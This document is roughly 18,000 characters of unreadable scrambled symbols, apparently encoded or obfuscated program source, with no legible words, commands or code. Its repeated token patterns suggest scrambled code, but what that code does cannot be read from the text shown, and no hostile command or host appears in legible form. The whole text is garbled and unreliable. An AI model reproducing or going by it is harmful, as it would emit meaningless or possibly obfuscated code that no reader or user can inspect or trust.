LKLJ	NW[F
N$O"S____[F
N$N"VDuuuu__[ N	IFN__B____WV__ WIFMWNJOOVS__OV____T_NDu______uu
 WLWNJOOVS__[ N	IFNS___LWNJONVVDu____W[ N	IFN___AB__WONTOMVV_u
 W L	WNKFJVS__ L	WNKFIVWVS__ L	WNJONVVDu__KKGMM 

WGKFWNKHFVS____GKFWNJOMVVDu______uuu________
Duuu_____u______WWV__ WIFMWNJOOVS___OV_A_OV______
 WIFMWNJOOVS__OS_LWNJNJVVDu____WWV__ WIFMWNJNIVS__OV____A____OV_? WIFMWNJNHVVDuuuu__________W+_[NJN MV_u__KKGMM 

W L	WNKHFVS___[NJN MVD[
G
MNBNOKFD[K
OB[
G
MN!JKDu________W:_[NJN MV____uuu_KKGMM 

WLWNKHFVS__[NJN MVDu_u_____u__
___GJ G  WVuu______u____W^WLWNJNGVVV__
Du____W^GKFWNJNFVWLWNMJMVVV_
Duuu___[
MJ_B______F
W>=,/>+7_____Q__ L	WNJMOVS_WL!FVVDu____[OKN_B_	MNMWVDu___W^[OKN____GKFWNLFNVW[OKNV__C___WONTONJVV___
Du[I	H 	___B___LNMWVDu___[
__B__? W[
MJS____]]VDu_________W[
_YY__IFMWNLFNVW[
V_BBB__LWNLFNVW[I	H 	V___YY__[
__BBB_[I	H 	V__
Du__________WLWNJNFVWLWNJMNVVV____u
 W[
MJS__[I	H 	S__GKFWNJNJVVDu_________WWGKFWNJMMVV_YY_WGKFWNJMLVV____YY_____W L	WNJMKVV______YY___WLWFKVV_YY_LWNJMJVWLWNJMIVVV_u_[FOM____B_LWNJMIVDu_[LJOG______B___?___[FOMWWGKFWNJMMVVS___WIFMWNJMHVVS_W L	WNJMGVVS_WLWNJMFVVVDu_____W[LJOG_YY__^[LJOGRA V____u[__B_W[830=>3,$GKFWNLMNV"RAV___@__[830=>3,$LWNLMNV"RA__E_ L	WNOOMVDuuuu__[H		FFHLMK___B_[LJOGRA  W[I	H 	VDuu______[IIM__B___[LJOGRA  W[
MJVDu___[LJOGRA
W]6#K#JL#KJ-+_61#JK#K_[#HO#IF#HL_W#I#HO#HK#I #IS_#HO#IF#I 	
S_#IN
#HKV_#JI>#K*#KJ#JL_WX[IIMXS_X[H		FFHLMKXS_X#IXV_0#K_;*/#K6<#KN#JK:_4:&_#JJ/#KK#KN#JK:_#HO#HK#IF#I 	#IN
BX[H		FFHLMKX]VDu_W[LJOGRAV___KKGMM 

W L	WNJMOVS_____LWNJLOV___Q_IFMWNLKHVW[LJOGRAS___OS_WNMGRGVVVDu_[LJOGRAWVDu_uuPP___uu____W+_____[NJN MV______uKKGMM 

WGKFWNJLNVS____[NJN MVDu______________W:___[NJN MV__u__u_____u___
__KLML KWVuuPP_(/_6=E__uu[  J__B__WGKFWNKNLVV___@____(/ <01+:1+ ;6-__E______>=,/>+7____Q_____IFMWFIHVDu[	MOHGM	N
____B__F
W>=,/>+7___Q_ L	WNJLMVS_WNII!NHKVVDu__
_W[  J__Q__LWJHGVS__[  J__Q__IFMWNJLLV___Q_[	MOHGM	N
_____Q__LWNJLKVS__[	MOHGM	N
VDuu_
_____ GW[GKO	HFJFHVu_u___[H__B__WV_____?LWNJLJVW[GKO	HFJFHVDu____W[H__C____WNOGRGV_________[H__A_WMOFHNKMTNOVV_
_Du__[L	_B_?IFMWNJLIVW[GKO	HFJFHVDu______W^ L	WNKFHVW[L	V_______IFMWNLFNVW[L	V_C_WNMMRMMV____ L	WNLFNVW[L	V_A_WLMJKLOTNHHNHMMVV_
___Du__[LLMHN___B____IFMWMMOVWXEXS_[L	S______WMLG!MLKVVDu____WLWNJLHVW[LLMHNV____C_WHO!IIV___[LLMHN$O"_____^BB__ L	WNJLGV______GKFWNLFNVW[LLMHN$WMTNV"V____C_WKKTIVV_
___Du_____[NKOIL_____B_?IFMWKOMVW[LLMHN$WGH!GKV"VDu_W[NKOIL_BBB_________GKFWNLFNVW[NKOILV_C_WONHTONVV___
_____Du______WGKFWNLKHVW[NKOILS_OS__MV_____BBB__]#N#G]V___uu____[MJKJG	 ___B__?GKFWNJLFVWX)XS_____LWNLKHVW[NKOILS_RWNTLVVVDu___W^GKFWNLGKVW[MJKJG	 V______[MJKJG	 $N"_____C_WHITMKV_____[MJKJG	 $N"_A__WNOKGJKHTMFVV_
__Du_______WLWNJNFVWIFMWNJKOVVV_[NKOIL_B__?W[NKOILS___WNOKGJKHTMFVVDu______WGKFWNJNFVWGKFWNLMKVVV__u____[NKOIL___B__?WGKFWNLKHVW[NKOILS___WNTFVS__IFMWNLFNVW[NKOILV_R_WONOTOMVVS____WNGLLFJHRHGJLGNVVDu_______WIFMWNKFHVW[NKOILV_____YY__IFMWNJKNVW[NKOILV___A__WONHTOMKMFVV_
_Duu_____u______
____Duuu__uuu_______W^ L	WNKFHVW[NKOILV______ L	WNJKMVW[NKOILV___C______WFMTGV________LWNLKHVW[NKOILS___OS_WONTOKVV_^BB__ L	WHINV________GKFWNJKLVW[NKOILV_^BB__[LLMHN$M"V__
_Du__
_____[NKOILDu___u
_G
WVuu__uPP_(/_/_<E_
	_
Ruu_______u_______W^WIFMWNJNGVVV__
Du__[GGIFNJHK__B__KLML KWVDu_______W^?IFMWNJOGVW[GGIFNJHK$N"VV___
Du___W GW[GGIFNJHK$N"V___BBB______V__
Du____[KGJMO
N_____B____F KKI KFWIFMWHKMVS__WX  ,3*8  XVS____W L	WNNIJVWNIFFOOL	OWVS_IFMWNKHIVVVVDu_____W^GKFWNJKKVW[KGJMO
NV_______[KGJMO
N_BBB__]]V__
Du_[KGJMO
N_B____LWNKGGVW L	WNJKJVS___]]S____[KGJMO
NVD[NKBIMTIGD[JGB[NKRJODu______W^IFMWNJKKVW[KGJMO
NV_____[KGJMO
N______BBB___]]V_____
Du____[	NHJ_B_GIILHWV__Q__XEX_Q___F
W>=,/>+7__Q_____GKFWNJKIVS__WKTKVVDu[ MO
FI____B_____IFMWNJKHV__Q_[	NHJ_Q__IFMWNJKGVDu_[NLGF__B_____ L	WNJKFV_Q_[	NHJ_Q_ L	WNJKGVDu_[	G KNH______B______LWNJJOV_____Q______[GGIFNJHK$M"___Q____IFMWNJJNV_Q___GIILHWV____Q___LWNJKGV_____Q_]#]__Q__[KGJMO
NDu_W^?IFMWNJOGVW[GGIFNJHK$O"VV______u___W^ON F
JW[GGIFNJHK$O"S_]]VV_____u_KKGMM 

WIFMWNJLMVS_GKFWNJJMVVDu__
Du___uu______W
LKLJ	NW[GGIFNJHK$O"S_____[	G KNHVV_u_OOKHH
 LGW[GGIFNJHK$O"S_N
KI
WVVDuuuu__L 
	W[GGIFNJHK$O"S_WLIJTJJVVDuOFKKF W[GGIFNJHK$O"VDuu__
Du_______uu______[IH

N HNM______B__?IFMWNJLIVW[GGIFNJHK$O"VDuuu____W^IFMWNJKKVW[IH

N HNMV___ L	WNJKMVW[IH

N HNMV____A___WNFHGNFLTNNGFJFVV_
Duu__WGKFWNKKLVW[IH

N HNMS___[ MO
FIV__^BB______YY____GKFWNKKLVW[IH

N HNMS_[NLGFV___^BB_V_
Du_______WGKFWNKKLVW[IH

N HNMS____ L	WNJJLVV_BBB_________YY___IFMWNJJKVW[IH

N HNMS__LWNJJJV___Q_[GGIFNJHK$M"V__^BB__V_uuuu________WLWNLONVWLWNJJIVS____GKFWNLKHVW[IH

N HNMS__OS_____WNKJTJJVVS_[NFKV__YY_	 W[NFK$N"S_GIILHWVS__GKFWNJJHVVV_
Duuu______W^ON F
JW[GGIFNJHK$O"S___[IH

N HNMVV____u__KKGMM 

WLWNJLMVS__IFMWNJJMVVDu_
Du_uPP_?
_uu____W
LKLJ	NW[GGIFNJHK$O"S__[	G KNHVV_uOOKHH
 LGW[GGIFNJHK$O"S__N
KI
WVVDuL 
	W[GGIFNJHK$O"S__WLJOTHOVVDuuu_OFKKF W[GGIFNJHK$O"VDu_u______
Duuu__u_[KKOOI___B___F
W>=,/>+7____Q__GKFWNJKIVS_WHTNVVDu_[IH

N HNM____B__IFMWNKGGVW L	WNJJGV_Q__[KKOOI__Q____LWNJJFVS__]]S_[IH

N HNMVDu________W^GKFWNJKKVW[IH

N HNMVV__u__KKGMM 

WLWNJLMVS______GKFWNJIOVVDu__
Duuuuuu______W^? L	WGHGVW[GGIFNJHK$O"VV_
Du______W^ HINHMW L	WNJLMVVV__uKKGMM 

W L	WNJINVS___IFMWNJIMVVDuuuu___
Duuu_u___W^ON F
JW[GGIFNJHK$O"S_____[IH

N HNMVV__uKKGMM 

WIFMWNJINVS___GKFWNJILVVDu_______
Du_____uuuu__		OWGKFWNJINVVDu__[	O	_B__[ MO
FI_Q_____]#]_Q__LWNJIKV____Q__[GGIFNJHK$M"___Q_IFMWNJKGV___Q____]#]______Q__[KGJMO
N_Q____]#]___Q_[NLGFDu________
LKLJ	NW[GGIFNJHK$O"S____FJFMH GHLIFW[IH

N HNMS___[	O	VVDu___W+__[NJN MV__uKKGMM 

WGKFWNJINVS_____[NJN MVDu____W:__[NJN MV__u__u_____u
____FOMKWVu_uPP_
_
uu_____uuuu___W^W L	WNJIJVVV______
Du_______[GGIFNJHK___B_KLML KWVDu___[
MLL__B____WV___?IFMWNJIIVW[GGIFNJHK$N"S__S___
S_OS____WNOKRKOVVDu________WIFMWNLONVWIFMWNJIHVS_[
MLLS___[	HNJFIFHV___YY_[	HNJFIFH$N"____BBB___GIILHWVV____u____[
 M____B__WV_ WIFMWNJIGVS__OVDu____WGKFWNKFIVWV____R____[
 M___C_WNJHTKKLVV___
Duuu________W GW[GGIFNJHK$N"V___^BB_V_u___?
 WLWNJIFVS____ L	WNKFIVWVS___LWNJNJVVDu_
Duu__KKGMM 

WGKFWNJINVS____IFMWNJHOVVDuu______[OKN_____B__	MNMWVDuuu_____W^[OKN_____GKFWNJKMVW[OKNV__C___WKHJTMJV______GKFWNJKMVW[OKNV_A___WNOKGJHNTJV_____^	JFO H
W[OKNVV__
Du_[J
_____B__ L	WNJNFVWGKFWMFNVV_@__?W[OKNS_WMJ!LNVV__E____[OKNDuuu__W^GKFWNJHNVW[J
V______[J
__BBB____]]V__
Du_____W
LKLJ	NW[GGIFNJHK$N"S____IFMWNJHMV_Q___GIILHWV____Q____XEX___Q___ L	WNJHLVW[OKNV___Q__XEX_Q____ L	WLFFVW[J
VVV_____?
 WIFMWNJIFVS____LWNKFIVWVS_IFMWNJNJVVDu_____W+__[NJN MV_u_KKGMM 

WIFMWNJINVS_____[NJN MVDu______W:_____[NJN MV__uuPP_(/_+_=E__uu_____u____
______  
	
GWVu______uu___________W^IFMWNJNFVWGKFWNJHKVVV__
_Duu___[KGF_B___W L	WNJIJVV__YY__? L	WNJOKVW>=,/>+7_____Q_GKFWIOOVV___@___>=,/>+7_Q_ L	WNJHJV_E___  963:  Du__
___ L	WNJHIVW[KGFS_____XXVDu__u_
___JHO OWVu____u_____u_____W^IFMWNJNFVWGKFWNJHHVV_____^GKFWNJNFVW L	WNJHGVVV___
Du________W^WLWNJIJVVV__
Du[OKN_B__	MNMWVDu__________W^[OKN___IFMWNJKMVW[OKNV__C_____WKHLTMHVV__
Du_[____B__  
	
GWVDu____W[_BBB_V__
Du__[FFL__B_ L	WNJNFVWGKFWNJHFVV__@__ L	WNJGOVW L	WNJGNVS__[OKNV__E___LWNJGMVW[OKNVDu___[ K__B__GKFWNJGLV__Q_____GKFWNJKMVW[OKNV_____Q__XEX_Q__[FFL_Q_]#]___Q__[OKNDu___[	FJ __B_____GKFWNJGKVW[ KVDu__[	 	FNNOF_B__?GKFWNJHHVW[S_XXS_____OS___OVDu_____W[	 	FNNOFV__u[JJOJ______B_____WV__?GKFWNJGJVW[	 	FNNOFVDu__[
I	
OLN__B___? L	WNJGIVW[	 	FNNOFS____OS__[JJOJVDuu___________W L	WNJGHVW[
I	
OLNV____YY_____LWNJGGVW[
I	
OLNS____[OKNV______^BB_V____u____? L	WNJGFVW[	 	FNNOFVDu____
Du_uPP_	_
_uu____W[JJOJ_AB____[	FJ V_uu_?GKFWNJGFVW[	 	FNNOFVDu_[	 	FNNOF___B_?IFMWNJHHVW[S___XXS______OS____OVDuu______W[	 	FNNOFV____u__? L	WNJFOVW[	 	FNNOFS_____IFMWNJFNVW[ KS_[JJOJS_____]#O]VS_____OVDuuu___[NGKO ____B____? L	WNJGIVW[	 	FNNOFS___OS_[	FJ VDu_? L	WNJGFVW[	 	FNNOFVDu_______W[NGKO _^BB_[ KV_KKGMM 

WIFMWNJFMVS_IFMWNMNFVVD[MMBRJIFD[K
HBW[MMAOV@[MMER[MMDuu_
Du____u_?GKFWNJFLVW[	 	FNNOFVDuu?IFMWNJGFVW[	 	FNNOFVDu____u_____u_[JJOJ__B_[	FJ __T__WNOOMTMMVDu_[	 	FNNOF__B__? L	WNJFKVW[S_XXS__WLJNTIFVS__[JJOJVDu_____W^[	 	FNNOFV__
Duu?GKFWNJFOVW[	 	FNNOFS___IFMWNJFJVW[ KS____[JJOJS____]#O]VS_____OVDu_[NGKO __B____?LWNJGIVW[	 	FNNOFS____OS_[	FJ VDu____W[NGKO _^BB_[ KV_KKGMM 

W L	WNJFMVS___IFMWNMNFVVDuuu?GKFWNJGFVW[	 	FNNOFVDuu__________W+____[NJN MV__uPP_(/_,_2
E_	
_uu_KKGMM 

WIFMWNJFMVS__[NJN MVDu____W:___[NJN MV__[FKFO BMLNIID[K MB[FKFO !NIKDu_______uu___
___FJFMH GHLIFW[
S__[	O	Vu__uPP____(/_/_+uu_____________W^ L	WNJFIVW[
V_______[
_BBB_]]V__
____IFMWFFLV_____Q__[	O	_Q__]#]Du__W L	WNLONVWGKFWNJFHVS_[
S_[JMKFS__/-:8 099,:+ <>/+*-:VV____uPP_?_
Ruuuu_[M
I___B__[JMKF$O"$N"_T_ L	WNJGKVW[JMKF$O"$O"VD[IBFGUMD[OJB[IRMODuuu[MIM
LN__B___ L	WNJFGVW[
S_[M
IS_WNKOMIRJGLKVVDu___WIFMWNJFIVW[MIM
LNV__YY_____IFMWNLONVW L	WNJFFVS_[MIM
LNS_[ VV_u___[M
I____TB____GKFWNJGKVW[ $O"VDu[MIM
LN_B_____IFMWNJFGVW[
S_____[M
IS__WGNKJTKHVVDuuuuu
____IFMWNIOOVW[
S__OS____[M
IV__Q__]#]_Q_[	O	__Q_]#]__Q__ L	WNIONVW[
S_[M
IVDuuu_____u
_____GKFWNIOMV__Q_____[	O	_Q____]#@A#]_Q__[
Duu___u_
_ HINHMW[Vuuuu______u___W^GKFWNIOLVWIFMWNMJMVVV___
__
Du[	G O____B____? WLWNIOKV__Q__[S____]]VDu_________W L	WNJFIVW[	G OV_YY_LWNIOJVW[	G OS__XXV_^BB____V_u_[LLMHN___B_ L	WMMOVWXXS_[	G OS_MVDu___WWV__[LLMHN$O"__BBB___WV___WGKFWNKFIVWV___P___WNJIKKGRHOOKGVV___YY__WV_[LLMHN$N"____AB___WOMTONVV______
__Du___u
___
Du___u_
___		OW[Vuuu___uPP_(/_9_>/6__uuuu__W^LWNIOLVWLWNIOIVV______^GKFWNIOHVWIFMWNIOGVVV___
Duu[KL__B_WV___WGKFWNKFIVWV_____P_WGILKFTJNVVDu_[	G O_B_____? WGKFWNIOKV_____Q______[S_]]VDu_[OMON
	_B_ODu_W L	WNIOFVW[	G OV_YY_GKFWNIOJVW[	G OS_XXV_^BB__V____uuu[LLMHN______B__IFMWNINOVWXXS__[	G OS___MVDu___WWV____[LLMHN$O"_BBB__[KLV_[OMON
	____B______WV_[LLMHN$N"Du___uuuu_____[OMON
	TTDu__?
 W L	WNIOKV___Q___[S_[KL___Q__XX__Q____[OMON
	S_LWNJNJVVDuuu___W[OMON
	____AB_____WIRLVV__KKGMM 

WGKFWNINNVS_IFMWNINMV___Q___[VDuu_
______
 NF
HKWVuuu__uuuu_____uuu___W^W L	WNJIJVVV_
Du__W^WLWNKNLVV__^? L	WGHGVW(/ <01+:1+ ;6-V_______^K W(/ <01+:1+ ;6-VV__
Duuu____[	KNIO__B_____(/ <01+:1+ ;6-Du____[	 LJFJM_B_[	KNIO__Q___ L	WNLFKVDu______[	M	O___B_GKFWNINLVWNIFFOOL	OWVS___GKFWNINKVVDu_[GKGFIK__B__F
W>=,/>+7_Q_____GKFWNINJVS__WMTIVV__Q_IFMWNLMGVDu__[IN
_B___	MGLGWVDuuu_[
MJ_B____F
W>=,/>+7_Q__LWNJLNVS__WOFTONVVDuu_[NJ
	G_B______IFMWNIOHVWIFMWNINIVV_@__  
	
GWV_E_____Du_[OJJNH	O_B__[NJ
	G__^BB___@_LWNINHVW[NJ
	GV_____E__ODu[
	OIH  _B______W[830=>3,$ L	WNLMNV"RAV_____@_[830=>3,$GKFWNLMNV"RA__E____GKFWNOOMVDu[ONMJMN__B___GKFWNINGV__Q_IFMWNIONVWLWNJGMVW[	M	O_Q_WV_KIIKM	WVVS__OS______WOHTONVVDu_[	I__B__F KKI KFWuuu_____IFMWHLOVSu_WX  ,3*8  XS_X  %6/ 1>2:  XS______X  ,720/ 4:&  XS_X  0/+ 1>2:  XS_X  (/ /-:96'  XS_X  8*>-; 1>2:  XS_X  ):-,601  XVSuW[	M	OS___[GKGFIKS___[OJJNH	OS___[
MJS___[
	OIH  S____[ONMJMNS__GIILHWVVu____VDu______W^[	IV___uu_________WWV_____ W L	WNKHGVS___OV___A_OV_KKGMM 

WLWNINFVS______GKFWNIMOVVDuu_
Du___u_[
____B__?GKFWNJOKVW[	 LJFJMV_@_?GKFWNIMNVW[	 LJFJMV__E__]]Duuuu____W^ L	WNIMMVW[
VV__u_KKGMM 

W L	WNIMLVS____GKFWNKKMVVDu_
Du_u_[
____B______ GH
JKHW[
VDuuuu[	NHJ__B___GIILHWV______Q____XEX_____Q___F
W>=,/>+7__Q___IFMWNIMKVS____WKCCNVVDu_[ MO
FI_B__IFMWNIMJV_____Q___[	NHJ___Q_ L	WNJKGVDu_[NLGF_B__ L	WNIMIV___Q_[	NHJ_Q__IFMWNIMHVDu___[
 H_B__F
W>=,/>+7__Q____LWNIMKVS___WNJI!NKGVVDu________[
	IJ	_B_LWNIMGVW L	WNIMFV_Q_____[
 H__Q___IFMWNILOVS_]]S__[
VDu_[
HOJ___B_WIFMWNIOJVW[
	IJ	S___GKFWNILNVV___^BB__VDu_W L	WNILMVW[
S__[ MO
FIV_^BB_____YY_____GKFWNILLVW[
S___[NLGFV_^BB_____YY_____^[
HOJV____uIOM	OKWVDu_
Du__uuu____[
___B_IFMWNILKVWGKFWNILJVS__]]S____[
	IJ	VDu_________W^LWNIMMVW[
VV__uPP_	_u[
FHNBMFTNND[KMGB[
FHNRMJDu__KKGMM 

WIFMWNILIVS_GKFWNJIOVVDuu____
Duuu__u_[
___B___ GH
JKHW[
VDu[J  G__B__LWNILHVWIFMWNJKJVS_]]S_____[	IVDuu__[	 	_B__W L	WNJGKVW[
V_BBB______OVDu___W^[	 	V_uu___W^ HINHMWGKFWNILIVVV__uKKGMM 

WLWNILIVS__ L	WNJIMVVDu_
Du___u___W^ON F
JW[	 LJFJMS__[
VV___u__KKGMM 

WLWNILGVS__ L	WNJILVVDu
Du_____uuuu______		OWGKFWNILFVVDu_____u_____W^ON F
JW[	 LJFJMS_]]VV__u__KKGMM 

WIFMWNIKOVS__GKFWNIKNVVDu__
Du____u_____u_[	OJ __B_FJFMH GHLIFW[
S____[ MO
FI_Q_____]#]_Q_[J  G__Q_]#]__Q_[NLGFVDu___W^
LKLJ	NW[	 LJFJMS_____[	OJ VV____u_
Du____u____W[	 	V_OFKKF W[	 LJFJMVDu______IOM	OKWVDu_u______W+__[NJN MV__u__KKGMM 

WLWNIKOVS___[NJN MVDu___W:_____[NJN MV_u________u_______uuu_
___HKNNWVu____uuuu_________uPP_(/_/_<__
uu____W^W L	WNJIJVVV___
Du___WNLGIM	NJWNIFFOOL	OWVVV_
Du___________W^IFMWNIOHVWIFMWNLGMVVV____
Du__W L	WNLFGVWV____BBB___LWGKVV____
Du_____W^W[ ,:-):-$ L	WNIKMV"VV_
Du_____W WLWNIKLVVV______
Du____[ MFMI___B_	MGLGWVDuuu___W^?IFMWNLHHVW[ MFMIVV___ NKKW[ MFMIS_WKIGTMJVS___
VDu___W^?GKFWNLHHVW[ MFMIV__________^?GKFWNIKKVW[ MFMIVV__u______[ MFMI_B___>=,/>+7_Q__LWNIKJVDuuuu_______W^?IFMWNIKKVW[ MFMIVV__[ MFMI__B__
MHGO
G	
FWVDu____uuuuu[JJ	_____B_____F
W>=,/>+7_____Q__XXS____WOMTOIVVDu_______[	FGK______B___LWNIKIV_Q___[JJ	____Q___LWNINKVDu[FHNF_B_[ MFMI_____Q____XPX_____Q___[	FGKDuPP_(/_-
_,E__uu_____[	JK
LJ_B_____[ MFMI___Q_IFMWNIKHV__Q___[JJ	Du__WW[ MFMIS______>=,/>+7__Q__GKFWNIKJVS_____
MHGO
G	
FWVV__[GV____u_[FLJ____B____[G__Q_GKFWNIKGV______Q______[JJ	Duuu_W? L	WNJOGVW[FLJVV_u[J
____B_WV____?LWNIKFVW[FLJVDu_____W[J
___CB_____LWNIJOVWV_____R___WGILHOTLOV______[J
__A__IFMWNIJNVWV__T_WLLTMIHVV__uuu__O
	LW[FLJVDu_
D[	N	IOBMLUJD[B[	N	IORIDu_uPP__uu______W?LWNJOGVW[G_Q_GKFWNIJMV_Q__[JJ	__Q__LWNINKVVV__
Du____O
	LW[FLJVDuuuu___u____u_
W[GS__[FLJS______[J
VDu_uu_______[ L__B___>=,/>+7_Q_IFMWNIJLV___Q__[	FGKDu_______W[ MFMI_____^BB___>=,/>+7___Q_____ L	WNIKJV____YY_? L	WNJOGVW[ LV____YY__
KKHW[ LV_^BB___V__u___L 
	W[ LS_____WONGITONVVDuuu____WO
	LW[ LV__YY__GKFWNIOHVWLWMOOVVV___? 	W[ LS____
VDuu
W[ LVDuuu_____W?GKFWNJOGVW[	JK
LJV___YY__WV__?GKFWNIKFVW[	JK
LJV_A__IFMWNIJNVWV___R__WOMTONVV____
Du________W?IFMWNJOGVW[FHNFV__YY____WLWNIJKVWV__R_WV__?W[FHNFVV____C___WOOTOKVV___
Duuu___W?GKFWNJOGVW[FHNFVV__u__[ GK	
_B__?IFMWNJOGVW[ MFMI___Q_GKFWNIJJV___Q_[JJ	V___@__IFMWNMGNVWWV_?LWNIJIVW[ MFMI___Q__GKFWNIJJV___Q_[JJ	VV____E_]]Du____________W[ GK	
__^BB__]]_YY___GKFWNIJHVWIFMWNIJGVS_____[ GK	
V_YY__	 W[ GK	
S__GIILHWVS____XAXVV_
Du
W[ GK	
VDuuu_______W?LWNJOGVW[FHNFVV___u[MFG __B_[ MFMI_Q__GKFWNIJFV_Q__F
W>=,/>+7____Q____XXS__WOHTONVVDuuu________[	I__B___?IFMWNJOGVW[MFG V__@_WV_?GKFWNIJIVW[MFG V____E_____]]Du_____[G		____B_OD[MHLOOBWOHTOJVD[GHNB[MHLOOZNIDu_____W[	I__^BB____]]V____uu[LN

N___B__GKFWNINOVWXXS___[	IVDuuu___[G		___B__WV__[LN

N$O"Du___u_____W[G		_A___O__YY_IFMWNIIOVWV_R_[G		_A__WGFGTMVV______KKGMM 

WGKFWNIINVS______ L	WNIIMVVDu_____W[G		___BBB___O__YY_WLWNIILVWV____R_____WV_?W[FHNFVV____A___WNFHTHOLVV___KKGMM 

WIFMWNIINVS___IFMWNIIKVVDu__
W[MFG S______[	IS_[LN

NS_[G		VDuuuu[OKN_B__	MNMWVDu___________W^[OKN___IFMWNJGKVW[OKNV__C____WOTOVV__
Du_______[KNHF __B_LNMWVDu_____[	M	O_B______IFMWNINLVWNIFFOOL	OWVS__GKFWNIIJVVDu[N	F_B_____
MHGO
G	
FWV__Q______GKFWNJVDu___[		JJ
	I_B___? L	WNIIIVW[N	FVu_____@____W[N	F__Q_XPX__Q____[	M	O___Q____IFMWNIIJVVuuuE_____W
MHGO
G	
FWV__Q___LWJJV_____Q____[	M	O____Q__XPX___Q___[	M	O_Q__IFMWNIIJVVDuu____[KFK
____B______LWNIOHVWIFMWHGLVV__@_ L	WNLKIVW 
WVS__/7/ *-3 70,+V_E__WW[ ,:-):-$ L	WIKIV"V__@____[ ,:-):-$IFMWIKIV"__E_]]VDu[H	H __B_____WWGKFWNIIHVV_YY____(/2* /3*861 ;6-V_@_____(/2* /3*861 ;6-___E___
MHGO
G	
FWV_Q_ L	WNJVDuuuu_[
FMIGIMHJ__B_WW L	WGMGVV_YY____(/ /3*861 ;6-V__@___(/ /3*861 ;6-_E__
MHGO
G	
FWV___Q_____GKFWNIIGVDu____[JNO	I_____B___W L	WNIIFVV__@_(/ <01+:1+ ;6-____E__
MHGO
G	
FWVDu______[ M____B___F KKI KFWuu___LWNIHOVSuWX  />+7 =IK  XS____X  /3*861 =>,:IK  XS__X  ;02>61  XS___X  7= =IK  XS__X  8/>+7 =IK  XS_X  >=,/>+7 =IK  XS___X  <01+:1+;6- =IK  XS____X  2*;6- =IK  XS__X  /3*861;6- =IK  XS___X  ,3*8  XS____X  ):-,601  XVSu__WIFMWNIHNVW[		JJ
	IVS___[KNHF S_[KFK
S_IFMWNIHMVW[	JK
LJVS__ L	WNIHLVW[FHNFVS_GKFWNIHLVW>=,/>+7VS_ L	WNIHKVW[JNO	IVS______GKFWNIHKVW[H	H VS_GKFWNIHJVW[
FMIGIMHJVS_LWNIHIVWNIFFOOL	OWVS____ L	WNIIJVVS__GIILHWVVu_VDu_____W^[ MV__u_______WWV___ WLWNIHHVS___OV__A_____OV_KKGMM 

WIFMWNIHGVS_GKFWNIHFVVDu__
Duu___W^	JFO H
W[ MVV____uPU___UPuu__KKGMM 

WGKFWNIHGVS___ L	WNIGOVVDu
Du________u__W
LKLJ	NW[FHNFS____[ MVV__u__OOKHH
 LGW[FHNFS______N
KI
WVVDuL 
	W[FHNFS_____WOKTONJVVDu__OFKKF W[FHNFVDuu__LFMOHMH
FW[ MFMI____Q_IFMWNIGNV___Q_[JJ	S___IFMWNIGMVW[ MVS_ L	WNIHGVVDuuuuLFMOHMH
FW[ MFMI_Q_IFMWNIGLV_Q______[JJ	S___GIILHWVS_LWNIGKVVD[	
MBNHMOD[	NJNOB[	
MZNIDu___?
 _[FHNFDu_ WGKFWNIKLVS_NS___WMIHTLLVVDuuuu_uuu
W[H	H S____[
FMIGIMHJS___[JNO	IVDu_____W+_[NJN MV__u_KKGMM 

WLWNIGKVS___[NJN MVDu________W:_[NJN MV_____uu____uPP_
uu__u
__NMNJJFINW[
HHJ Vuuu_____[LLOBWOGTOHVD[I
  LB[LLOZNMDu___W^GKFWNIMMVW[
HHJ VV_
_Duuu_____[KIMG_B__LWNJGKVW[
HHJ VDu__W[KIMG_A__WNHLJHHNRIGHNFJVV_
_
Du___W[KIMG__C___WMHOTMLOVV____
____Du__[JLIM_B__ L	WNIONVW[
HHJ S_OS____WKOFNTINKKJVVDu_[MFG__B__GKFWNIGJVW[JLIMS__X_XV_T___ L	WNIGJVW[JLIMS____]#]VDu
_W[MFG_P_LWNJGKVW[JLIMVV__A__OQJJDuu___
_	MNMW[H
L____B_Vuu____________[OKN____B__
Du__W[H
LV_u[OKN__B_
Du_u___W[OKN_____^BB_
V____
__[OKNDuu___[
HHJ _B____Du__[K 
M__B____?GKFWNJLJVWNIFFOOL	OWVVD[ HB/7/ 61+ 2>'P/7/ 61+ 2>'D[N	B[ HTHNDu___________W[K 
M___YY__[K 
M___A__WMNNTMGFV___YY___[K 
M___CB__WJMKMGHKNTJFVV__[
HHJ _B___?LWNIJIVWNIFFOOL	OWVVDu_WGKFWNIMMVW[
HHJ V___YY__IFMWNIGIVW[
HHJ V____A_____WNOKGJOGTIGVV_[
HHJ ____B__ GH
JKHW[
HHJ VDuuu____WGKFWNIMMVW[
HHJ V_YY___GKFWNIGHVW[
HHJ V_A_WKIFTLNV____YY_ L	WNIGHVW[
HHJ V_CB__WNOKGKGITFOV__YY_^NMNJJFINW[
HHJ V_____YY__	JFO H
W[
HHJ VV__u__[OKN__B_[
HHJ Du___
__[OKNDuu___[IGFLNLH__B_
M	FKL
L  W L	WNOMNVS___]]VDu_________W L	WNIMMVW[IGFLNLHV_YY____ L	WNIGHVW[IGFLNLHV_A__WKIGTLMV____YY___LWNIGHVW[IGFLNLHV_CB___WNOKGKFKTGMV_YY_^NMNJJFINW[IGFLNLHV__YY__	JFO H
W[IGFLNLHVV____u_____[OKN____B___[IGFLNLHDu___
_[OKNDu_u___[OKN__B___Du_______
_____[OKNDu__u
_LNMW[H
L__B_Vu____u_[I	H 	___B___
Du______uu__W[H
LV___uPP_(/_=_>/6_	L__uu_[I	H 	_____B___
Du_uPP_(/_;_2
E__uu__W[I	H 	__^BB___
V_
_[I	H 	Du____[
HHJ ______B_	MNMWVDu__W^ L	WNIMMVW[
HHJ V__IFMWNIGHVW[
HHJ V____C_WMKGTMJMV_______LWNIGHVW[
HHJ V_A_WNOKGKFLTGLV_____NMNJJFINW[
HHJ V_____^	JFO H
W[
HHJ VV____u[I	H 	__B___Du___
__[I	H 	Du_____u_[I	H 	_B_GKFWNIHJVW
J LLLI	 W[
HHJ VVDu____
__[I	H 	Duu___
__HIMHNKNW[L	Vu__u_________W^GKFWNIGGVW[L	V____ L	WNIGFVW[L	V__C_WNKF!NLJV____IFMWNIONVW[L	S___OS__MV_^BB___]#N#G]V_
__ODuuu[IIH_B_? L	WNJLFVWX)XS_IFMWNIONVW[L	S_RWOLTONVVVDuu[IIH____B__IFMWNLGKVW[IIHV___@_[IIH$N"____E_ODu______W[IIH_C___WKHNTMFV_____[IIH__A__WNOKGJLJTKNVV_
_[IIHDu
_ODu__u______
___JNO GKFW[	HNJFIFHVuu___u___
___GKFWKOKVWW[	HNJFIFH$N"VVDuu_
_LN
